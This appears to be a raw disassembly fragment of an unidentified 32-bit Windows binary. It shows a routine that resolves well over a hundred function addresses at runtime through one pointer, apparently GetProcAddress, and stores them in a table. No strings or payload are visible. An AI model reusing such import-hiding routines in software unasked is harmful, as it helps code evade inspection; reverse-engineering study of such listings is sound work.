mov dword [0x42bf3c], eax
push edi
call dword [0x42bf04]
mov dword [0x42bf40], eax
push dword [0x42c408]
mov edi, dword [ebp - 4]
push edi
call dword [0x42bf04]
push dword [0x42c40c]
mov dword [0x42bf44], eax
push esi
call dword [0x42bf04]
push dword [0x42c414]
mov dword [0x42bf48], eax
push edi
call dword [0x42bf04]
push dword [0x42c410]
mov dword [0x42bf50], eax
push edi
call dword [0x42bf04]
push dword [0x42c418]
mov edi, dword [ebp - 8]
push edi
mov dword [0x42bf4c], eax
call dword [0x42bf04]
push dword [0x42c41c]
mov dword [0x42bf54], eax
push edi
call dword [0x42bf04]
push dword [0x42c420]
mov dword [0x42bf58], eax
push esi
call dword [0x42bf04]
push dword [0x42c424]
mov dword [0x42bf5c], eax
push esi
call dword [0x42bf04]
push dword [0x42c428]
mov edi, dword [ebp - 0x20]
push edi
mov dword [0x42bf60], eax
call dword [0x42bf04]
push dword [0x42c42c]
mov dword [0x42bf64], eax
push edi
call dword [0x42bf04]
push dword [0x42c430]
mov dword [0x42bf68], eax
push edi
call dword [0x42bf04]
push dword [0x42c434]
mov dword [0x42bf6c], eax
push edi
call dword [0x42bf04]
push dword [0x42c438]
mov dword [0x42bf70], eax
push edi
call dword [0x42bf04]
push dword [0x42c43c]
mov dword [0x42bf74], eax
push edi
call dword [0x42bf04]
push dword [0x42c440]
mov dword [0x42bf78], eax
push edi
call dword [0x42bf04]
push dword [0x42c444]
mov dword [0x42bf7c], eax
push edi
call dword [0x42bf04]
push dword [0x42c448]
mov dword [0x42bf80], eax
push edi
call dword [0x42bf04]
push dword [0x42c44c]
mov dword [0x42bf84], eax
push esi
call dword [0x42bf04]
push dword [0x42c450]
mov dword [0x42bf88], eax
push dword [ebp - 4]
call dword [0x42bf04]
push dword [0x42c454]
mov dword [0x42bf8c], eax
push dword [ebp - 0x10]
call dword [0x42bf04]
push dword [0x42c45c]
mov dword [0x42bf90], eax
push dword [ebp - 0x10]
call dword [0x42bf04]
push dword [0x42c458]
mov dword [0x42bf94], eax
push dword [ebp - 4]
call dword [0x42bf04]
push dword [0x42c624]
mov dword [0x42bed0], eax
push dword [ebp - 0x10]
call dword [0x42bf04]
push dword [0x42c460]
mov dword [0x42bf98], eax
push dword [ebp - 4]
call dword [0x42bf04]
push dword [0x42c46c]
mov dword [0x42bf9c], eax
push dword [ebp - 4]
call dword [0x42bf04]
push dword [0x42c464]
mov dword [0x42bfa0], eax
push dword [ebp - 4]
call dword [0x42bf04]
push dword [0x42c468]
mov dword [0x42bfa8], eax
push dword [ebp - 4]
call dword [0x42bf04]
push dword [0x42c470]
mov dword [0x42bfa4], eax
push dword [ebp - 4]
call dword [0x42bf04]
push dword [0x42c474]
mov dword [0x42bfac], eax
push esi
call dword [0x42bf04]
push dword [0x42c478]
mov dword [0x42bfb0], eax
push esi
call dword [0x42bf04]
push dword [0x42c47c]
mov dword [0x42bfb4], eax
push esi
call dword [0x42bf04]
push dword [0x42c480]
mov dword [0x42bfb8], eax
push esi
call dword [0x42bf04]
push dword [0x42c484]
mov dword [0x42bfbc], eax
push esi
call dword [0x42bf04]
push dword [0x42c488]
mov dword [0x42bfc0], eax
push esi
call dword [0x42bf04]
push dword [0x42c48c]
mov dword [0x42bfc4], eax
push dword [ebp - 4]
call dword [0x42bf04]
push dword [0x42c490]
mov dword [0x42bfc8], eax
push dword [ebp - 4]
call dword [0x42bf04]
push dword [0x42c494]
mov dword [0x42bfcc], eax
push dword [ebp - 4]
call dword [0x42bf04]
push dword [0x42c498]
mov dword [0x42bfd0], eax
push dword [ebp - 8]
call dword [0x42bf04]
push dword [0x42c49c]
mov dword [0x42bfd4], eax
push dword [ebp - 8]
call dword [0x42bf04]
push dword [0x42c4a0]
mov dword [0x42bfd8], eax
push dword [ebp - 4]
call dword [0x42bf04]
push dword [0x42c4a4]
mov dword [0x42bfdc], eax
push ebx
call dword [0x42bf04]
push dword [0x42c4a8]
mov dword [0x42bfe0], eax
push ebx
call dword [0x42bf04]
push dword [0x42c4ac]
mov dword [0x42bfe4], eax
push ebx
call dword [0x42bf04]
push dword [0x42c4b0]
mov dword [0x42bfe8], eax
push dword [ebp - 0x24]
call dword [0x42bf04]
push dword [0x42c4b4]
mov dword [0x42bfec], eax
push esi
call dword [0x42bf04]
push dword [0x42c4b8]
mov ebx, dword [ebp - 4]
push ebx
mov dword [0x42bff0], eax
call dword [0x42bf04]
push dword [0x42c4bc]
mov dword [0x42bff4], eax
push ebx
call dword [0x42bf04]
push dword [0x42c4c0]
mov dword [0x42bff8], eax
push ebx
call dword [0x42bf04]
push dword [0x42c4c4]
mov dword [0x42bffc], eax
push ebx
call dword [0x42bf04]
push dword [0x42c4c8]
mov dword [0x42c000], eax
push ebx
call dword [0x42bf04]
push dword [0x42c4cc]
mov dword [0x42c004], eax
push ebx
call dword [0x42bf04]
push dword [0x42c4d0]
mov esi, dword [ebp - 0x18]
push esi
mov dword [0x42c008], eax
call dword [0x42bf04]
push dword [0x42c4d4]
mov dword [0x42c00c], eax
push esi
call dword [0x42bf04]
push dword [0x42c4d8]
mov dword [0x42c010], eax
push esi
call dword [0x42bf04]
push dword [0x42c4dc]
mov dword [0x42c014], eax
push ebx
call dword [0x42bf04]
push dword [0x42c4e0]
mov dword [0x42c018], eax
push ebx
call dword [0x42bf04]
push dword [0x42c4e4]
mov dword [0x42c01c], eax
push ebx
call dword [0x42bf04]
push dword [0x42c4e8]
mov dword [0x42c020], eax
push ebx
call dword [0x42bf04]
push dword [0x42c4ec]
mov dword [0x42c024], eax
push ebx
call dword [0x42bf04]
push dword [0x42c4f0]
mov dword [0x42c028], eax
push ebx
call dword [0x42bf04]
push dword [0x42c4f4]
mov dword [0x42c02c], eax
push esi
call dword [0x42bf04]
push dword [0x42c4f8]
mov dword [0x42c030], eax
push ebx
call dword [0x42bf04]
push dword [0x42c4fc]
mov dword [0x42c034], eax
push ebx
call dword [0x42bf04]
push dword [0x42c500]
mov dword [0x42c038], eax
push ebx
call dword [0x42bf04]
push dword [0x42c504]
mov dword [0x42c03c], eax
push ebx
call dword [0x42bf04]
push dword [0x42c508]
mov dword [0x42c040], eax
push ebx
call dword [0x42bf04]
push dword [0x42c50c]
mov ebx, dword [ebp - 0x28]
push ebx
mov dword [0x42c044], eax
call dword [0x42bf04]
push dword [0x42c510]
mov dword [0x42c048], eax
push dword [ebp - 4]
call dword [0x42bf04]
push dword [0x42c514]
mov dword [0x42c04c], eax
push dword [ebp - 4]
call dword [0x42bf04]
push dword [0x42c518]
mov dword [0x42c050], eax
push dword [ebp - 0x14]
call dword [0x42bf04]
push dword [0x42c51c]
mov dword [0x42c054], eax
push edi
call dword [0x42bf04]
push dword [0x42c520]
mov dword [0x42c058], eax
push edi
call dword [0x42bf04]
push dword [0x42c524]
mov edi, dword [ebp - 4]
push edi
mov dword [0x42c05c], eax
call dword [0x42bf04]
push dword [0x42c528]
mov dword [0x42c060], eax
push edi
call dword [0x42bf04]
push dword [0x42c52c]
mov edi, dword [ebp - 0x10]
push edi
mov dword [0x42c064], eax
call dword [0x42bf04]
push dword [0x42c530]
mov dword [0x42c068], eax
push dword [ebp - 4]
call dword [0x42bf04]
push dword [0x42c534]
mov dword [0x42c06c], eax
push dword [ebp - 0xc]
call dword [0x42bf04]
push dword [0x42c538]
mov dword [0x42c070], eax
push dword [ebp - 0xc]
call dword [0x42bf04]
push dword [0x42c53c]
mov dword [0x42c074], eax
push dword [ebp - 4]
call dword [0x42bf04]
mov dword [0x42c078], eax
push dword [0x42c540]
push dword [ebp - 0xc]
call dword [0x42bf04]
push dword [0x42c544]
mov dword [0x42c07c], eax
push dword [ebp - 4]
call dword [0x42bf04]
push dword [0x42c548]
mov dword [0x42c080], eax
push dword [ebp - 4]
call dword [0x42bf04]
push dword [0x42c54c]
mov dword [0x42c084], eax
push dword [ebp - 8]
call dword [0x42bf04]
push dword [0x42c550]
mov dword [0x42c088], eax
push dword [ebp - 4]
call dword [0x42bf04]
push dword [0x42c554]
mov dword [0x42c08c], eax
push ebx
call dword [0x42bf04]
push dword [0x42c558]
mov dword [0x42c090], eax
push ebx
call dword [0x42bf04]
push dword [0x42c55c]
mov dword [0x42c094], eax
push edi
call dword [0x42bf04]
push dword [0x42c560]
mov dword [0x42c098], eax
push edi
call dword [0x42bf04]
push dword [0x42c564]
mov ebx, dword [ebp - 0xc]
push ebx
mov dword [0x42c09c], eax
call dword [0x42bf04]
push dword [0x42c568]
mov dword [0x42c0a0], eax
push ebx
call dword [0x42bf04]
push dword [0x42c56c]
mov dword [0x42c0a4], eax
push ebx
call dword [0x42bf04]
push dword [0x42c570]
mov dword [0x42c0a8], eax
push dword [ebp - 4]
call dword [0x42bf04]
push dword [0x42c574]
mov dword [0x42c0ac], eax
push ebx
call dword [0x42bf04]
push dword [0x42c578]
mov dword [0x42c0b0], eax
push ebx
call dword [0x42bf04]
push dword [0x42c57c]
mov dword [0x42c0b4], eax
push ebx
call dword [0x42bf04]
push dword [0x42c580]
mov dword [0x42c0b8], eax
push ebx
call dword [0x42bf04]
push dword [0x42c584]
mov dword [0x42c0bc], eax
push ebx
call dword [0x42bf04]
push dword [0x42c588]
mov dword [0x42c0c0], eax
push ebx
call dword [0x42bf04]
push dword [0x42c58c]
mov dword [0x42c0c4], eax
push ebx
call dword [0x42bf04]
mov dword [0x42c0c8], eax
push dword [0x42c590]
push ebx
call dword [0x42bf04]
push dword [0x42c594]
mov dword [0x42c0cc], eax
push ebx
call dword [0x42bf04]
push dword [0x42c598]
mov dword [0x42c0d0], eax
push ebx
call dword [0x42bf04]
push dword [0x42c59c]
mov dword [0x42c0d4], eax
push ebx
call dword [0x42bf04]
push dword [0x42c5a4]
mov dword [0x42c0d8], eax
push ebx
call dword [0x42bf04]
push dword [0x42c5a0]
mov dword [0x42c0e0], eax
push ebx
call dword [0x42bf04]
push dword [0x42c5a8]
mov dword [0x42c0dc], eax
push ebx
call dword [0x42bf04]
push dword [0x42c5ac]
mov dword [0x42c0e4], eax
push dword [ebp - 0x14]
call dword [0x42bf04]
push dword [0x42c5b0]
mov dword [0x42c0e8], eax
push esi
call dword [0x42bf04]
push dword [0x42c5b4]
mov dword [0x42c0ec], eax
push ebx
call dword [0x42bf04]
push dword [0x42c5b8]
mov ebx, dword [ebp - 0x2c]
push ebx
mov dword [0x42c0f0], eax
call dword [0x42bf04]
push dword [0x42c5bc]
mov esi, dword [ebp - 0xc]
push esi
mov dword [0x42c0f4], eax
call dword [0x42bf04]
push dword [0x42c5c0]
mov dword [0x42c0f8], eax
push ebx
call dword [0x42bf04]
push dword [0x42c5c4]
mov dword [0x42c0fc], eax
push ebx
call dword [0x42bf04]
push dword [0x42c5c8]
mov dword [0x42c100], eax
push ebx
call dword [0x42bf04]
push dword [0x42c5cc]
mov dword [0x42c104], eax
push ebx
call dword [0x42bf04]
push dword [0x42c5d0]
mov dword [0x42c108], eax
push ebx
call dword [0x42bf04]
push dword [0x42c5d4]
mov dword [0x42c10c], eax
push ebx
call dword [0x42bf04]
push dword [0x42c5d8]
mov dword [0x42c110], eax
push ebx
call dword [0x42bf04]
push dword [0x42c5dc]
mov dword [0x42c114], eax
push esi
call dword [0x42bf04]
push dword [0x42c5e0]
mov dword [0x42c118], eax
push esi
call dword [0x42bf04]
push dword [0x42c5e4]
mov dword [0x42c11c], eax
push esi
call dword [0x42bf04]
push dword [0x42c5e8]
mov dword [0x42c120], eax
push ebx
call dword [0x42bf04]
push dword [0x42c5ec]
mov dword [0x42c124], eax
push esi
call dword [0x42bf04]
push dword [0x42c5f0]
mov dword [0x42c128], eax
push esi
call dword [0x42bf04]
push dword [0x42c5f4]
mov dword [0x42c12c], eax
push edi
call dword [0x42bf04]
push dword [0x42c5f8]
mov dword [0x42c130], eax
push edi
call dword [0x42bf04]
push dword [0x42c5fc]
mov ebx, dword [ebp - 4]
push ebx
mov dword [0x42c134], eax
call dword [0x42bf04]
push dword [0x42c600]
mov dword [0x42c138], eax
push ebx
call dword [0x42bf04]
push dword [0x42c604]
mov dword [0x42c13c], eax
push dword [ebp - 0x14]
call dword [0x42bf04]
push dword [0x42c608]
mov dword [0x42c140], eax
push ebx
call dword [0x42bf04]
push dword [0x42c60c]
mov dword [0x42c144], eax
push ebx
call dword [0x42bf04]
push dword [0x42c360]
mov dword [0x42c148], eax
call fcn.0040665f
push dword [0x42c6b4]
mov dword [0x42c390], eax
call fcn.0040665f
push dword [0x42c6b0]
mov dword [0x42c808], eax
call fcn.0040665f
push dword [0x42c380]
mov dword [0x42c804], eax
call fcn.0040665f
push dword [0x42c354]
mov dword [0x42c394], eax
call fcn.0040665f
push dword [0x42c358]
mov dword [0x42c38c], eax
call fcn.0040665f
add esp, 0x18
mov dword [0x42c388], eax
pop edi
pop esi
pop ebx
leave
ret